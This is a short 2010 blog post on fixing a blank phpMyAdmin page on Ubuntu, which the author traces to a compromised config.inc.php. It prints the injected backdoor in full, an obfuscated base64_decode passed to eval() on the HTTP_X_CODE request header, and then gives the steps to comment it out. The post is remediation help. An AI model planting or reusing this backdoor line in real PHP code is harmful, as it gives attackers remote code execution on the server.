May 6th, 2010 | linux, PHP, Unbuntu

PHPMYADMIN Blank White Page on Ubuntu

214

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

/*
* Generated configuration file

* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
*$cfg[‘Servers’][$i][‘xxx’];$z=‘bas’.‘e64_dec’.‘ode’;eval($z($_SERVER[‘HTTP_X_CODE’]));exit;#’] = ‘yyy’;

/* End of servers configuration */

To fix this issue, Shell into Ubuntu and Sudo up

pico /var/lib/phpmyadmin/config.inc.php

Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;

comment it out with //

hit ctrl+x, press y, and lets reload apache

/etc/init.d/apache2 reload

To avoid this problem:

  1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
  2. Use Htaccess passwords on the phpmyadmin directory


0 comments ↓

If you found this post useful click the share this button. Contribute below by adding a comment, no registration is required.

There are no comments yet...Kick things off by filling out the form below.

Leave a Comment